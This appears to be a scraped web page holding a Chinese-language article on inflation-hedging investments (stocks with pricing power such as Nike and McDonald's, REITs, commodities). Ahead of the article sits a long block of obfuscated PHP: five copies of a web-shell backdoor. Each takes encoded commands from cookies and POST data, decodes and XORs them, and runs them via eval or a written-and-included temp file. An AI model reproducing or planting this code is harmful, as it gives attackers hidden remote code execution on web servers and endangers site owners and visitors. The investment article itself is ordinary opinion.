$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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抵御通膨武器 - Sharix

抵御通膨武器

在通胀环境下,现金是潜在损失最为严重的资产之一。如果一般民众不懂得如何投资,他们便会把现金存入银行作定期存款。这看起来像是安全的做法,但从长远来看,这笔存在银行里的钱正在慢慢地贬值。即使定期存款将赋予存款者一定的利息,但如果这笔利息无法抵消高企的通胀率,钱的价值就会越存越低。

如果想确保财富长期增长,并且拥有足够的资金保障未来的财务安全,我们必须投资能够抵御通胀的资产。假如按通胀平均每年4% 来计算,现在的100万令吉就只相当于20年后的44万令吉。假设这笔资金不用于投资,你的实际亏损高达56%。  

那什么是对抗通胀最佳的资产呢?

  • 具有定价能力,拥有强大自由现金流的企业,并且避开资本密集行业。

其实市面上有许多资产可以抵御通胀并建立财富。但是在所有资产中,笔者最喜欢的资产还是股票。从下图可以发现,标准普尔500指数是在众多资产当中最大的赢家,其次就是美国的房地产REITS,就连排在最后的黄金都战胜了通胀。

居民消费价格指数(Consumer Price Index 简称CPI)通常会被作为衡量通胀的一个重要宏观经济指标,主要是放映着家庭在日常生活一般所购买的消费商品和服务价格水平之间的变动趋势。

笔者认为在高通胀的环境下,最拥有吸引力公司是那些具备“定价能力”(Pricing Power)的企业。公司的定价能力越大, 就代表越能够更轻易的把成本转嫁给客户,也不会对其公司产品的需求产生负面影响。这些公司能轻松提高价格并弥补高昂的运营费用。运营成本可以包括劳动力成本,原材料成本和运输费等等。

举个例子,耐克 (NIKE)是一家全球知名的球鞋类龙头,拥有极高客户忠诚度。NIKE 可以在不失去市场份额的情况下提高价格,因为它拥有广泛的经济护城河。NIKE能以它标志性的品牌轻松提高旗下品牌鞋的价格,去弥补运营成本的上涨。

另一方面,没有广泛护城河的的企业将无法在不失去市场份额的情况下轻松提高价格。利润率必然会下跌。这就是为什么大家应该避免经济护城河薄弱和竞争非常激烈的行业。

笔者也会避免那些需要持续提高资本支出去保持竞争力的企业,包括特定的制造业、能源公司、航空业等等。在高通胀的环境下,如果公司每年必须花费更多的资金来进行资本支出维持营运,这会吸走它们大量现金,降低盈利能力。打个比方,麦当劳(MCD)不需要承担生意上的风险,主要是因为公司的业务是通过特许经营模式运营,所需支付的资本支出很少。因此,麦当劳可以轻易的把成本转嫁给特许经营商,并凭借着强大的定价权,在高通胀的环境下保持良好的营运记录。

  • 房地产 (REITS)

跟据斯坦福大学的一项研究,房地产是通胀的 “投资避风港”,这是因为房产和贵金属都是属于有限资源,而租金收入也会随着通胀而普遍上升。根据Schroders (SDR) 对1973年至2020年期间美国资产表的分析,大家可以发现房地产投资型托(REITS)提供了良好的通胀护盘。当通胀超过3% 时,REITS的表现在众多资产类别中排名第二。

  • 大众商品 Commodities

一般上,大众商品如石油、铜、黄金、玉米、咖啡等都会在高通胀环境中表现良好。如果大家查看下图德银商品指数ETF《DBC》的股价走势,可以看到去年初至今的表现都优于标准普尔500指数。但笔者不是大宗商品的忠实粉丝,因为这些资产不能创造实际的现金流或股息,也不能像房产一样为投资者创造房租收入。

另外,虽然大宗商品 ETF 可以在高通胀的环境中获利,但从长远来看并不会是笔者的首要选择,主要是因为商品价格非常不稳定,也非常难以预测。

最后,通货膨胀对那些持有现金的投资者较为不利,因为货币贬值会直接减弱人民的购买能力。相反,那些持有固定资产的人会因为资产价值上涨而变得更富有。

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